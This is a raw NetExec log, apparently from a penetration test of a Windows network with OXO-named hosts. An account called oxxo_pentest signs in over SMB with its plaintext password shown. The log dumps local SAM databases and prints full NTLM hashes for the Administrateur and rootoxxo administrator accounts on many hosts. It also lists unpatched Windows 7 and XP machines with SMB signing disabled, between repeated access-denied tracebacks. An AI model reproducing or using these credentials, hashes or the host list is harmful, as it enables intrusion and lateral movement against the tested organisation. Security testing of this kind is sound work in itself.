rpc_s_access_denied

SMB [Link] 445 OXOASP02022 [*] Dumping SAM hashes


SMB [Link] 445 OXODT020116 [+] [Link]\
oxxo_pentest:p8Z49-#MX6?ki@ (Pwn3d!)
SMB [Link] 445 OXODT020068 [+] [Link]\
oxxo_pentest:p8Z49-#MX6?ki@ (Pwn3d!)
SMB [Link] 445 OXOASP02022
Administrateur:500:aad3b435b51404eeaad3b435b51404ee:b5291c23de6cb8c96c21c55be36f543
[Link]
SMB [Link] 445 OXOASP02022
Invité:501:aad3b435b51404eeaad3b435b51404ee:31d6cfe0d16ae931b73c59d7e0c0[Link]
SMB [Link] 445 OXODT020158 [+] [Link]\
oxxo_pentest:p8Z49-#MX6?ki@ (Pwn3d!)
SMB [Link] 445 OXOASP02022
DefaultAccount:503:aad3b435b51404eeaad3b435b51404ee:31d6cfe0d16ae931b73c59d7e0c089c
[Link]
SMB [Link] 445 NONE [+] \oxxo_pentest:p8Z49-#MX6?
ki@ (Guest)
[Link] ERROR DCERPC Runtime Error: code: 0x5 - rpc_s_access_denied
[Link]
╭────────────────────────────────────────────────────────────
Traceback (most recent call last)
────────────────────────────────────────────────────────────╮
│ /usr/lib/python3/dist-packages/nxc/protocols/[Link] in
sam



│ 1493 │ │ │ add_sam_hash.sam_hashes = 0

│ 1494 │ │ │

│ 1495 │ │ │ if self.remote_ops and [Link]:

│ ❱ 1496 │ │ │ │ SAM_file_name =
self.remote_ops.saveSAM()

│ 1497 │ │ │ │ SAM = SAMHashes(

│ 1498 │ │ │ │ │ SAM_file_name,

│ 1499 │ │ │ │ │ [Link],




/usr/lib/python3/dist-packages/impacket/examples/[Link] in saveSAM



│ 931 │

│ 932 │ def saveSAM(self):

│ 933 │ │ [Link]('Saving remote SAM database')

│ ❱ 934 │ │ return self.__retrieveHive('SAM')

│ 935 │

│ 936 │ def saveSECURITY(self):

│ 937 │ │ [Link]('Saving remote SECURITY database')




/usr/lib/python3/dist-packages/impacket/examples/[Link] in
__retrieveHive



│ 922 │ │ except:

│ 923 │ │ │ raise Exception("Can't open %s hive" %
hiveName)

│ 924 │ │ keyHandle = ans['phkResult']

│ ❱ 925 │ │ [Link](self.__rrp, keyHandle,
'..\\Temp\\'+tmpFileName)

│ 926 │ │ [Link](self.__rrp, keyHandle)

│ 927 │ │ [Link](self.__rrp, regHandle)

│ 928 │ │ # Now let's open the remote file, so it can be
read later



│ /usr/lib/python3/dist-packages/impacket/dcerpc/v5/[Link]
in hBaseRegSaveKey



│ 943 │ request['hKey'] = hKey

│ 944 │ request['lpFile'] = checkNullString(lpFile)

│ 945 │ request['pSecurityAttributes'] =
pSecurityAttributes

│ ❱ 946 │ return [Link](request)

│ 947

│ 948 def hBaseRegSetValue(dce, hKey, lpValueName, dwType,
lpData):

│ 949 │ request = BaseRegSetValue()




/usr/lib/python3/dist-packages/impacket/dcerpc/v5/[Link] in request



│ 879 │ │ │ │ │ exception =
sessionErrorClass(error_code = error_code)

│ 880 │ │ │ │ else:

│ 881 │ │ │ │ │ exception =
sessionErrorClass(packet = response, error_code =

│ error_code)

│ ❱ 882 │ │ │ raise exception

│ 883 │ │ else:

│ 884 │ │ │ response = respClass(answer, isNDR64 =
isNDR64)

│ 885 │ │ │ return response

╰──────────────────────────────────────────────────────────────────────────────────
─────────────────────────────────────────────────────────────────────────╯

DCERPCException: DCERPC Runtime Error: code: 0x5 -


rpc_s_access_denied

SMB [Link] 445 OXOASP02022


WDAGUtilityAccount:504:aad3b435b51404eeaad3b435b51404ee:22cd04317fba5bde4063c97be8f
4[Link]
SMB [Link] 445 OXOASP02022 [+] Added 4 SAM hashes to the
database
SMB [Link] 445 OXODT020088 [+] [Link]\
oxxo_pentest:p8Z49-#MX6?ki@ (Pwn3d!)
SMB [Link] 445 OXODT020116 [*] Dumping SAM hashes
SMB [Link] 445 OXOLT020057 [+] [Link]\
oxxo_pentest:p8Z49-#MX6?ki@ (Pwn3d!)
SMB [Link] 445 OXODT020127 [+] [Link]\
oxxo_pentest:p8Z49-#MX6?ki@ (Pwn3d!)
SMB [Link] 445 OXODT020116
rootoxxo:500:aad3b435b51404eeaad3b435b51404ee:8d34de2a96b2d9c4a89478af030d[Link]
[Link] ERROR DCERPC Runtime Error: code: 0x5 - rpc_s_access_denied
[Link]
╭────────────────────────────────────────────────────────────
Traceback (most recent call last)
────────────────────────────────────────────────────────────╮
│ /usr/lib/python3/dist-packages/nxc/protocols/[Link] in
sam



│ 1493 │ │ │ add_sam_hash.sam_hashes = 0

│ 1494 │ │ │

│ 1495 │ │ │ if self.remote_ops and [Link]:

│ ❱ 1496 │ │ │ │ SAM_file_name =
self.remote_ops.saveSAM()

│ 1497 │ │ │ │ SAM = SAMHashes(

│ 1498 │ │ │ │ │ SAM_file_name,

│ 1499 │ │ │ │ │ [Link],




/usr/lib/python3/dist-packages/impacket/examples/[Link] in saveSAM



│ 931 │

│ 932 │ def saveSAM(self):

│ 933 │ │ [Link]('Saving remote SAM database')

│ ❱ 934 │ │ return self.__retrieveHive('SAM')

│ 935 │

│ 936 │ def saveSECURITY(self):

│ 937 │ │ [Link]('Saving remote SECURITY database')




/usr/lib/python3/dist-packages/impacket/examples/[Link] in
__retrieveHive



│ 922 │ │ except:

│ 923 │ │ │ raise Exception("Can't open %s hive" %
hiveName)

│ 924 │ │ keyHandle = ans['phkResult']

│ ❱ 925 │ │ [Link](self.__rrp, keyHandle,
'..\\Temp\\'+tmpFileName)

│ 926 │ │ [Link](self.__rrp, keyHandle)

│ 927 │ │ [Link](self.__rrp, regHandle)

│ 928 │ │ # Now let's open the remote file, so it can be
read later



│ /usr/lib/python3/dist-packages/impacket/dcerpc/v5/[Link]
in hBaseRegSaveKey



│ 943 │ request['hKey'] = hKey

│ 944 │ request['lpFile'] = checkNullString(lpFile)

│ 945 │ request['pSecurityAttributes'] =
pSecurityAttributes

│ ❱ 946 │ return [Link](request)

│ 947

│ 948 def hBaseRegSetValue(dce, hKey, lpValueName, dwType,
lpData):

│ 949 │ request = BaseRegSetValue()




/usr/lib/python3/dist-packages/impacket/dcerpc/v5/[Link] in request



│ 879 │ │ │ │ │ exception =
sessionErrorClass(error_code = error_code)

│ 880 │ │ │ │ else:

│ 881 │ │ │ │ │ exception =
sessionErrorClass(packet = response, error_code =

│ error_code)

│ ❱ 882 │ │ │ raise exception

│ 883 │ │ else:

│ 884 │ │ │ response = respClass(answer, isNDR64 =
isNDR64)

│ 885 │ │ │ return response

╰──────────────────────────────────────────────────────────────────────────────────
─────────────────────────────────────────────────────────────────────────╯

DCERPCException: DCERPC Runtime Error: code: 0x5 -


rpc_s_access_denied

ERROR DCERPC Runtime Error: code: 0x5 - rpc_s_access_denied


[Link]
╭────────────────────────────────────────────────────────────
Traceback (most recent call last)
────────────────────────────────────────────────────────────╮
│ /usr/lib/python3/dist-packages/nxc/protocols/[Link] in
sam



│ 1493 │ │ │ add_sam_hash.sam_hashes = 0

│ 1494 │ │ │

│ 1495 │ │ │ if self.remote_ops and [Link]:

│ ❱ 1496 │ │ │ │ SAM_file_name =
self.remote_ops.saveSAM()

│ 1497 │ │ │ │ SAM = SAMHashes(

│ 1498 │ │ │ │ │ SAM_file_name,

│ 1499 │ │ │ │ │ [Link],




/usr/lib/python3/dist-packages/impacket/examples/[Link] in saveSAM



│ 931 │

│ 932 │ def saveSAM(self):

│ 933 │ │ [Link]('Saving remote SAM database')

│ ❱ 934 │ │ return self.__retrieveHive('SAM')

│ 935 │

│ 936 │ def saveSECURITY(self):

│ 937 │ │ [Link]('Saving remote SECURITY database')




/usr/lib/python3/dist-packages/impacket/examples/[Link] in
__retrieveHive



│ 922 │ │ except:

│ 923 │ │ │ raise Exception("Can't open %s hive" %
hiveName)

│ 924 │ │ keyHandle = ans['phkResult']

│ ❱ 925 │ │ [Link](self.__rrp, keyHandle,
'..\\Temp\\'+tmpFileName)

│ 926 │ │ [Link](self.__rrp, keyHandle)

│ 927 │ │ [Link](self.__rrp, regHandle)

│ 928 │ │ # Now let's open the remote file, so it can be
read later



│ /usr/lib/python3/dist-packages/impacket/dcerpc/v5/[Link]
in hBaseRegSaveKey



│ 943 │ request['hKey'] = hKey

│ 944 │ request['lpFile'] = checkNullString(lpFile)

│ 945 │ request['pSecurityAttributes'] =
pSecurityAttributes

│ ❱ 946 │ return [Link](request)

│ 947

│ 948 def hBaseRegSetValue(dce, hKey, lpValueName, dwType,
lpData):

│ 949 │ request = BaseRegSetValue()




/usr/lib/python3/dist-packages/impacket/dcerpc/v5/[Link] in request



│ 879 │ │ │ │ │ exception =
sessionErrorClass(error_code = error_code)

│ 880 │ │ │ │ else:

│ 881 │ │ │ │ │ exception =
sessionErrorClass(packet = response, error_code =

│ error_code)

│ ❱ 882 │ │ │ raise exception

│ 883 │ │ else:

│ 884 │ │ │ response = respClass(answer, isNDR64 =
isNDR64)

│ 885 │ │ │ return response

╰──────────────────────────────────────────────────────────────────────────────────
─────────────────────────────────────────────────────────────────────────╯

DCERPCException: DCERPC Runtime Error: code: 0x5 -


rpc_s_access_denied

SMB [Link] 445 4005073-001 [*] Windows 7 Ultimate 7601


Service Pack 1 x32 (name:4005073-001) (domain:4005073-001) (signing:False)
(SMBv1:True)
SMB [Link] 445 4004794-001 [*] Windows 7 Ultimate 7601
Service Pack 1 x32 (name:4004794-001) (domain:4004794-001) (signing:False)
(SMBv1:True)
SMB [Link] 445 4005074-001 [*] Windows 7 Ultimate 7601
Service Pack 1 x32 (name:4005074-001) (domain:4005074-001) (signing:False)
(SMBv1:True)
SMB [Link] 445 4004832-002 [*] Windows 7 Ultimate 7601
Service Pack 1 x32 (name:4004832-002) (domain:4004832-002) (signing:False)
(SMBv1:True)
SMB [Link] 445 4004353-007 [*] Windows 7 Ultimate 7601
Service Pack 1 x32 (name:4004353-007) (domain:4004353-007) (signing:False)
(SMBv1:True)
SMB [Link] 445 OXODT020116
Invité:501:aad3b435b51404eeaad3b435b51404ee:31d6cfe0d16ae931b73c59d7e0c0[Link]
SMB [Link] 445 4004832-001 [*] Windows 7 Ultimate 7601
Service Pack 1 x32 (name:4004832-001) (domain:4004832-001) (signing:False)
(SMBv1:True)
SMB [Link] 445 4004353-001 [*] Windows 7 Ultimate 7601
Service Pack 1 x32 (name:4004353-001) (domain:4004353-001) (signing:False)
(SMBv1:True)
SMB [Link] 445 4004795-001 [*] Windows 7 Ultimate 7601
Service Pack 1 x32 (name:4004795-001) (domain:4004795-001) (signing:False)
(SMBv1:True)
SMB [Link] 445 OXODT020088 [*] Dumping SAM hashes
SMB [Link] 445 OXODT02070004 [+] [Link]\
oxxo_pentest:p8Z49-#MX6?ki@ (Pwn3d!)
SMB [Link] 445 OXODT020116
DefaultAccount:503:aad3b435b51404eeaad3b435b51404ee:31d6cfe0d16ae931b73c59d7e0c089c
[Link]
SMB [Link] 445 OXOLT020057 [*] Dumping SAM hashes
SMB [Link] 445 OXODT02090005 [+] [Link]\
oxxo_pentest:p8Z49-#MX6?ki@ (Pwn3d!)
SMB [Link] 445 OXODT020116
WDAGUtilityAccount:504:aad3b435b51404eeaad3b435b51404ee:a091f8d5df27afd1218cad5878e
6[Link]
SMB [Link] 445 OXODT020116 [+] Added 4 SAM hashes to the
database
SMB [Link] 445 NONE [+] \oxxo_pentest:p8Z49-#MX6?
ki@ (Guest)
SMB [Link] 445 OXODT020088
rootoxxo:500:aad3b435b51404eeaad3b435b51404ee:8d34de2a96b2d9c4a89478af030d[Link]
SMB [Link] 445 OXODT020127 [*] Dumping SAM hashes
SMB [Link] 445 OXODT020088
Invité:501:aad3b435b51404eeaad3b435b51404ee:31d6cfe0d16ae931b73c59d7e0c0[Link]
SMB [Link] 445 OXOLT020057
rootoxxo:500:aad3b435b51404eeaad3b435b51404ee:8d34de2a96b2d9c4a89478af030d[Link]
SMB [Link] 445 OXODT020079 [+] [Link]\
oxxo_pentest:p8Z49-#MX6?ki@ (Pwn3d!)
SMB [Link] 445 OXOLT020057
Invité:501:aad3b435b51404eeaad3b435b51404ee:31d6cfe0d16ae931b73c59d7e0c0[Link]
SMB [Link] 445 OXODT020088
DefaultAccount:503:aad3b435b51404eeaad3b435b51404ee:31d6cfe0d16ae931b73c59d7e0c089c
[Link]
SMB [Link] 445 OXODT02070004 [*] Dumping SAM hashes
SMB [Link] 445 OXODT020127
rootoxxo:500:aad3b435b51404eeaad3b435b51404ee:8d34de2a96b2d9c4a89478af030d[Link]
SMB [Link] 445 OXOLT020057
DefaultAccount:503:aad3b435b51404eeaad3b435b51404ee:31d6cfe0d16ae931b73c59d7e0c089c
[Link]
SMB [Link] 445 OXODT020088
WDAGUtilityAccount:504:aad3b435b51404eeaad3b435b51404ee:a091f8d5df27afd1218cad5878e
6[Link]
SMB [Link] 445 OXODT020088 [+] Added 4 SAM hashes to the
database
SMB [Link] 445 OXODT020011 [+] [Link]\
oxxo_pentest:p8Z49-#MX6?ki@ (Pwn3d!)
SMB [Link] 445 OXODT020127
Invité:501:aad3b435b51404eeaad3b435b51404ee:31d6cfe0d16ae931b73c59d7e0c0[Link]
SMB [Link] 445 OXOLT020057
WDAGUtilityAccount:504:aad3b435b51404eeaad3b435b51404ee:a091f8d5df27afd1218cad5878e
6[Link]
SMB [Link] 445 OXOLT020057 [+] Added 4 SAM hashes to the
database
SMB [Link] 445 OXODT02070004
rootoxxo:500:aad3b435b51404eeaad3b435b51404ee:8d34de2a96b2d9c4a89478af030d[Link]
SMB [Link] 445 OXODT020127
DefaultAccount:503:aad3b435b51404eeaad3b435b51404ee:31d6cfe0d16ae931b73c59d7e0c089c
[Link]
SMB [Link] 445 OXODT020047 [+] [Link]\
oxxo_pentest:p8Z49-#MX6?ki@ (Pwn3d!)
SMB [Link] 445 OXODT020079 [*] Dumping SAM hashes
SMB [Link] 445 OXODT02070004
Invité:501:aad3b435b51404eeaad3b435b51404ee:31d6cfe0d16ae931b73c59d7e0c0[Link]
[Link] ERROR DCERPC Runtime Error: code: 0x5 - rpc_s_access_denied
[Link]
╭────────────────────────────────────────────────────────────
Traceback (most recent call last)
────────────────────────────────────────────────────────────╮
│ /usr/lib/python3/dist-packages/nxc/protocols/[Link] in
sam



│ 1493 │ │ │ add_sam_hash.sam_hashes = 0

│ 1494 │ │ │

│ 1495 │ │ │ if self.remote_ops and [Link]:

│ ❱ 1496 │ │ │ │ SAM_file_name =
self.remote_ops.saveSAM()

│ 1497 │ │ │ │ SAM = SAMHashes(

│ 1498 │ │ │ │ │ SAM_file_name,

│ 1499 │ │ │ │ │ [Link],




/usr/lib/python3/dist-packages/impacket/examples/[Link] in saveSAM



│ 931 │

│ 932 │ def saveSAM(self):

│ 933 │ │ [Link]('Saving remote SAM database')

│ ❱ 934 │ │ return self.__retrieveHive('SAM')

│ 935 │

│ 936 │ def saveSECURITY(self):

│ 937 │ │ [Link]('Saving remote SECURITY database')




/usr/lib/python3/dist-packages/impacket/examples/[Link] in
__retrieveHive



│ 922 │ │ except:

│ 923 │ │ │ raise Exception("Can't open %s hive" %
hiveName)

│ 924 │ │ keyHandle = ans['phkResult']

│ ❱ 925 │ │ [Link](self.__rrp, keyHandle,
'..\\Temp\\'+tmpFileName)

│ 926 │ │ [Link](self.__rrp, keyHandle)

│ 927 │ │ [Link](self.__rrp, regHandle)

│ 928 │ │ # Now let's open the remote file, so it can be
read later



│ /usr/lib/python3/dist-packages/impacket/dcerpc/v5/[Link]
in hBaseRegSaveKey



│ 943 │ request['hKey'] = hKey

│ 944 │ request['lpFile'] = checkNullString(lpFile)

│ 945 │ request['pSecurityAttributes'] =
pSecurityAttributes

│ ❱ 946 │ return [Link](request)

│ 947

│ 948 def hBaseRegSetValue(dce, hKey, lpValueName, dwType,
lpData):

│ 949 │ request = BaseRegSetValue()




/usr/lib/python3/dist-packages/impacket/dcerpc/v5/[Link] in request



│ 879 │ │ │ │ │ exception =
sessionErrorClass(error_code = error_code)

│ 880 │ │ │ │ else:

│ 881 │ │ │ │ │ exception =
sessionErrorClass(packet = response, error_code =

│ error_code)

│ ❱ 882 │ │ │ raise exception

│ 883 │ │ else:

│ 884 │ │ │ response = respClass(answer, isNDR64 =
isNDR64)

│ 885 │ │ │ return response

╰──────────────────────────────────────────────────────────────────────────────────
─────────────────────────────────────────────────────────────────────────╯

DCERPCException: DCERPC Runtime Error: code: 0x5 -


rpc_s_access_denied

SMB [Link] 445 OXODT020127


WDAGUtilityAccount:504:aad3b435b51404eeaad3b435b51404ee:a091f8d5df27afd1218cad5878e
6[Link]
SMB [Link] 445 OXODT020127 [+] Added 4 SAM hashes to the
database
SMB [Link] 445 OXODT02070004
DefaultAccount:503:aad3b435b51404eeaad3b435b51404ee:31d6cfe0d16ae931b73c59d7e0c089c
[Link]
SMB [Link] 445 OXODT020011 [*] Dumping SAM hashes
SMB [Link] 445 OXODT020004 [+] [Link]\
oxxo_pentest:p8Z49-#MX6?ki@ (Pwn3d!)
SMB [Link] 445 OXODT02070004
WDAGUtilityAccount:504:aad3b435b51404eeaad3b435b51404ee:a091f8d5df27afd1218cad5878e
6[Link]
SMB [Link] 445 OXODT02070004 [+] Added 4 SAM hashes to the
database
SMB [Link] 445 OXODT020079
rootoxxo:500:aad3b435b51404eeaad3b435b51404ee:8d34de2a96b2d9c4a89478af030d[Link]
SMB [Link] 445 OXODT020079
Invité:501:aad3b435b51404eeaad3b435b51404ee:31d6cfe0d16ae931b73c59d7e0c0[Link]
SMB [Link] 445 OXODT020011
rootoxxo:500:aad3b435b51404eeaad3b435b51404ee:8d34de2a96b2d9c4a89478af030d[Link]
SMB [Link] 445 OXODT020011
Invité:501:aad3b435b51404eeaad3b435b51404ee:31d6cfe0d16ae931b73c59d7e0c0[Link]
SMB [Link] 445 OXODT020079
DefaultAccount:503:aad3b435b51404eeaad3b435b51404ee:31d6cfe0d16ae931b73c59d7e0c089c
[Link]
SMB [Link] 445 OXBBALSCSRV01 [*] Unix (name:OXBBALSCSRV01)
(domain:[Link]) (signing:False) (SMBv1:True)
SMB [Link] 445 OXODT020011
DefaultAccount:503:aad3b435b51404eeaad3b435b51404ee:31d6cfe0d16ae931b73c59d7e0c089c
[Link]
SMB [Link] 445 OXODT020079
WDAGUtilityAccount:504:aad3b435b51404eeaad3b435b51404ee:a091f8d5df27afd1218cad5878e
6[Link]
SMB [Link] 445 OXODT020079 [+] Added 4 SAM hashes to the
database
SMB [Link] 445 OXODT020011
WDAGUtilityAccount:504:aad3b435b51404eeaad3b435b51404ee:a091f8d5df27afd1218cad5878e
6[Link]
SMB [Link] 445 OXODT020011 [+] Added 4 SAM hashes to the
database
SMB [Link] 445 CEVLAP2116 [+] [Link]\
oxxo_pentest:p8Z49-#MX6?ki@
[Link] ERROR DCERPC Runtime Error: code: 0x5 - rpc_s_access_denied
[Link]
╭────────────────────────────────────────────────────────────
Traceback (most recent call last)
────────────────────────────────────────────────────────────╮
│ /usr/lib/python3/dist-packages/nxc/protocols/[Link] in
sam



│ 1493 │ │ │ add_sam_hash.sam_hashes = 0

│ 1494 │ │ │

│ 1495 │ │ │ if self.remote_ops and [Link]:

│ ❱ 1496 │ │ │ │ SAM_file_name =
self.remote_ops.saveSAM()

│ 1497 │ │ │ │ SAM = SAMHashes(

│ 1498 │ │ │ │ │ SAM_file_name,

│ 1499 │ │ │ │ │ [Link],




/usr/lib/python3/dist-packages/impacket/examples/[Link] in saveSAM



│ 931 │

│ 932 │ def saveSAM(self):

│ 933 │ │ [Link]('Saving remote SAM database')

│ ❱ 934 │ │ return self.__retrieveHive('SAM')

│ 935 │

│ 936 │ def saveSECURITY(self):

│ 937 │ │ [Link]('Saving remote SECURITY database')




/usr/lib/python3/dist-packages/impacket/examples/[Link] in
__retrieveHive



│ 922 │ │ except:

│ 923 │ │ │ raise Exception("Can't open %s hive" %
hiveName)

│ 924 │ │ keyHandle = ans['phkResult']

│ ❱ 925 │ │ [Link](self.__rrp, keyHandle,
'..\\Temp\\'+tmpFileName)

│ 926 │ │ [Link](self.__rrp, keyHandle)

│ 927 │ │ [Link](self.__rrp, regHandle)

│ 928 │ │ # Now let's open the remote file, so it can be
read later



│ /usr/lib/python3/dist-packages/impacket/dcerpc/v5/[Link]
in hBaseRegSaveKey



│ 943 │ request['hKey'] = hKey

│ 944 │ request['lpFile'] = checkNullString(lpFile)

│ 945 │ request['pSecurityAttributes'] =
pSecurityAttributes

│ ❱ 946 │ return [Link](request)

│ 947

│ 948 def hBaseRegSetValue(dce, hKey, lpValueName, dwType,
lpData):

│ 949 │ request = BaseRegSetValue()




/usr/lib/python3/dist-packages/impacket/dcerpc/v5/[Link] in request



│ 879 │ │ │ │ │ exception =
sessionErrorClass(error_code = error_code)

│ 880 │ │ │ │ else:

│ 881 │ │ │ │ │ exception =
sessionErrorClass(packet = response, error_code =

│ error_code)

│ ❱ 882 │ │ │ raise exception

│ 883 │ │ else:

│ 884 │ │ │ response = respClass(answer, isNDR64 =
isNDR64)

│ 885 │ │ │ return response

╰──────────────────────────────────────────────────────────────────────────────────
─────────────────────────────────────────────────────────────────────────╯

DCERPCException: DCERPC Runtime Error: code: 0x5 -


rpc_s_access_denied

SMB [Link] 445 OXOLT020059 [+] [Link]\


oxxo_pentest:p8Z49-#MX6?ki@ (Pwn3d!)
SMB [Link] 445 OXODT020004 [*] Dumping SAM hashes
SMB [Link] 445 OXODT020030 [+] [Link]\
oxxo_pentest:p8Z49-#MX6?ki@ (Pwn3d!)
SMB [Link] 445 OXODT020004
rootoxxo:500:aad3b435b51404eeaad3b435b51404ee:8d34de2a96b2d9c4a89478af030d[Link]
SMB [Link] 445 OXODT020004
Invité:501:aad3b435b51404eeaad3b435b51404ee:31d6cfe0d16ae931b73c59d7e0c0[Link]
SMB [Link] 445 OXODT020004
DefaultAccount:503:aad3b435b51404eeaad3b435b51404ee:31d6cfe0d16ae931b73c59d7e0c089c
[Link]
SMB [Link] 445 OXODT020004
WDAGUtilityAccount:504:aad3b435b51404eeaad3b435b51404ee:a091f8d5df27afd1218cad5878e
6[Link]
SMB [Link] 445 OXODT020004 [+] Added 4 SAM hashes to the
database
SMB [Link] 445 L2-MLR [*] Windows 7 Professional 7601
Service Pack 1 x64 (name:L2-MLR) (domain:L2-MLR) (signing:False) (SMBv1:True)
SMB [Link] 445 L2-SV800-232 [*] Windows 5.1 x32 (name:L2-
SV800-232) (domain:L2-SV800-232) (signing:False) (SMBv1:True)
SMB [Link] 445 L2-SSK-003 [*] Windows 5.1 x32 (name:L2-
SSK-003) (domain:L2-SSK-003) (signing:False) (SMBv1:True)
SMB [Link] 445 L1-SERVER-PC [*] Windows 7 Professional 7601
Service Pack 1 x64 (name:L1-SERVER-PC) (domain:L1-Server-Pc) (signing:False)
(SMBv1:True)
SMB [Link] 445 OXODT020031 [+] [Link]\
oxxo_pentest:p8Z49-#MX6?ki@ (Pwn3d!)
SMB [Link] 445 OXODT020142 [+] [Link]\
oxxo_pentest:p8Z49-#MX6?ki@ (Pwn3d!)
SMB [Link] 445 L3-MLR [*] Windows 7 Professional 7601
Service Pack 1 x64 (name:L3-MLR) (domain:L3-MLR) (signing:False) (SMBv1:True)
SMB [Link] 445 L3-SERVER-PC [*] Windows 7 Professional 7601
Service Pack 1 x64 (name:L3-SERVER-PC) (domain:L3-SERVER-PC) (signing:False)
(SMBv1:True)
SMB [Link] 445 L3-VPA1084-2 [*] Windows 7 Professional 7601
Service Pack 1 x64 (name:L3-VPA1084-2) (domain:L3-VPA1084-2) (signing:False)
(SMBv1:True)
SMB [Link] 445 L4-SERVER-PC [*] Windows 7 Professional 7601
Service Pack 1 x64 (name:L4-SERVER-PC) (domain:L4-SERVER-PC) (signing:False)
(SMBv1:True)
SMB [Link] 445 OXODT02030007 [+] [Link]\
oxxo_pentest:p8Z49-#MX6?ki@ (Pwn3d!)
SMB [Link] 445 L1-MLR [*] Windows 7 Professional 7601
Service Pack 1 x64 (name:L1-MLR) (domain:L1-MLR) (signing:False) (SMBv1:True)
[Link] ERROR DCERPC Runtime Error: code: 0x5 - rpc_s_access_denied
[Link]
╭────────────────────────────────────────────────────────────
Traceback (most recent call last)
────────────────────────────────────────────────────────────╮
│ /usr/lib/python3/dist-packages/nxc/protocols/[Link] in
sam



│ 1493 │ │ │ add_sam_hash.sam_hashes = 0

│ 1494 │ │ │

│ 1495 │ │ │ if self.remote_ops and [Link]:

│ ❱ 1496 │ │ │ │ SAM_file_name =
self.remote_ops.saveSAM()

│ 1497 │ │ │ │ SAM = SAMHashes(

│ 1498 │ │ │ │ │ SAM_file_name,

│ 1499 │ │ │ │ │ [Link],




/usr/lib/python3/dist-packages/impacket/examples/[Link] in saveSAM



│ 931 │

│ 932 │ def saveSAM(self):

│ 933 │ │ [Link]('Saving remote SAM database')

│ ❱ 934 │ │ return self.__retrieveHive('SAM')

│ 935 │

│ 936 │ def saveSECURITY(self):

│ 937 │ │ [Link]('Saving remote SECURITY database')




/usr/lib/python3/dist-packages/impacket/examples/[Link] in
__retrieveHive



│ 922 │ │ except:

│ 923 │ │ │ raise Exception("Can't open %s hive" %
hiveName)

│ 924 │ │ keyHandle = ans['phkResult']

│ ❱ 925 │ │ [Link](self.__rrp, keyHandle,
'..\\Temp\\'+tmpFileName)

│ 926 │ │ [Link](self.__rrp, keyHandle)

│ 927 │ │ [Link](self.__rrp, regHandle)

│ 928 │ │ # Now let's open the remote file, so it can be
read later



│ /usr/lib/python3/dist-packages/impacket/dcerpc/v5/[Link]
in hBaseRegSaveKey



│ 943 │ request['hKey'] = hKey

│ 944 │ request['lpFile'] = checkNullString(lpFile)

│ 945 │ request['pSecurityAttributes'] =
pSecurityAttributes

│ ❱ 946 │ return [Link](request)

│ 947

│ 948 def hBaseRegSetValue(dce, hKey, lpValueName, dwType,
lpData):

│ 949 │ request = BaseRegSetValue()




/usr/lib/python3/dist-packages/impacket/dcerpc/v5/[Link] in request



│ 879 │ │ │ │ │ exception =
sessionErrorClass(error_code = error_code)

│ 880 │ │ │ │ else:

│ 881 │ │ │ │ │ exception =
sessionErrorClass(packet = response, error_code =

│ error_code)

│ ❱ 882 │ │ │ raise exception

│ 883 │ │ else:

│ 884 │ │ │ response = respClass(answer, isNDR64 =
isNDR64)

│ 885 │ │ │ return response

╰──────────────────────────────────────────────────────────────────────────────────
─────────────────────────────────────────────────────────────────────────╯

DCERPCException: DCERPC Runtime Error: code: 0x5 -


rpc_s_access_denied

[Link] ERROR DCERPC Runtime Error: code: 0x5 - rpc_s_access_denied


[Link]
╭────────────────────────────────────────────────────────────
Traceback (most recent call last)
────────────────────────────────────────────────────────────╮
│ /usr/lib/python3/dist-packages/nxc/protocols/[Link] in
sam



│ 1493 │ │ │ add_sam_hash.sam_hashes = 0

│ 1494 │ │ │

│ 1495 │ │ │ if self.remote_ops and [Link]:

│ ❱ 1496 │ │ │ │ SAM_file_name =
self.remote_ops.saveSAM()

│ 1497 │ │ │ │ SAM = SAMHashes(

│ 1498 │ │ │ │ │ SAM_file_name,

│ 1499 │ │ │ │ │ [Link],




/usr/lib/python3/dist-packages/impacket/examples/[Link] in saveSAM



│ 931 │

│ 932 │ def saveSAM(self):

│ 933 │ │ [Link]('Saving remote SAM database')

│ ❱ 934 │ │ return self.__retrieveHive('SAM')

│ 935 │

│ 936 │ def saveSECURITY(self):

│ 937 │ │ [Link]('Saving remote SECURITY database')




/usr/lib/python3/dist-packages/impacket/examples/[Link] in
__retrieveHive



│ 922 │ │ except:

│ 923 │ │ │ raise Exception("Can't open %s hive" %
hiveName)

│ 924 │ │ keyHandle = ans['phkResult']

│ ❱ 925 │ │ [Link](self.__rrp, keyHandle,
'..\\Temp\\'+tmpFileName)

│ 926 │ │ [Link](self.__rrp, keyHandle)

│ 927 │ │ [Link](self.__rrp, regHandle)

│ 928 │ │ # Now let's open the remote file, so it can be
read later



│ /usr/lib/python3/dist-packages/impacket/dcerpc/v5/[Link]
in hBaseRegSaveKey



│ 943 │ request['hKey'] = hKey

│ 944 │ request['lpFile'] = checkNullString(lpFile)

│ 945 │ request['pSecurityAttributes'] =
pSecurityAttributes

│ ❱ 946 │ return [Link](request)

│ 947

│ 948 def hBaseRegSetValue(dce, hKey, lpValueName, dwType,
lpData):

│ 949 │ request = BaseRegSetValue()




/usr/lib/python3/dist-packages/impacket/dcerpc/v5/[Link] in request



│ 879 │ │ │ │ │ exception =
sessionErrorClass(error_code = error_code)

│ 880 │ │ │ │ else:

│ 881 │ │ │ │ │ exception =
sessionErrorClass(packet = response, error_code =

│ error_code)

│ ❱ 882 │ │ │ raise exception

│ 883 │ │ else:

│ 884 │ │ │ response = respClass(answer, isNDR64 =
isNDR64)

│ 885 │ │ │ return response

╰──────────────────────────────────────────────────────────────────────────────────
─────────────────────────────────────────────────────────────────────────╯

DCERPCException: DCERPC Runtime Error: code: 0x5 -


rpc_s_access_denied

SMB [Link] 445 L2-SERVER-PC [*] Windows 7 Professional 7601


Service Pack 1 x64 (name:L2-SERVER-PC) (domain:L2-SERVER-PC) (signing:False)
(SMBv1:True)
SMB [Link] 445 OXODT020031 [*] Dumping SAM hashes
SMB [Link] 445 OXOLT020024 [+] [Link]\
oxxo_pentest:p8Z49-#MX6?ki@ (Pwn3d!)
SMB [Link] 445 OXODT020010 [+] [Link]\
oxxo_pentest:p8Z49-#MX6?ki@ (Pwn3d!)
SMB [Link] 445 OXODT020031
rootoxxo:500:aad3b435b51404eeaad3b435b51404ee:8d34de2a96b2d9c4a89478af030d[Link]
[Link] ERROR DCERPC Runtime Error: code: 0x5 - rpc_s_access_denied
[Link]
╭────────────────────────────────────────────────────────────
Traceback (most recent call last)
────────────────────────────────────────────────────────────╮
│ /usr/lib/python3/dist-packages/nxc/protocols/[Link] in
sam



│ 1493 │ │ │ add_sam_hash.sam_hashes = 0

│ 1494 │ │ │

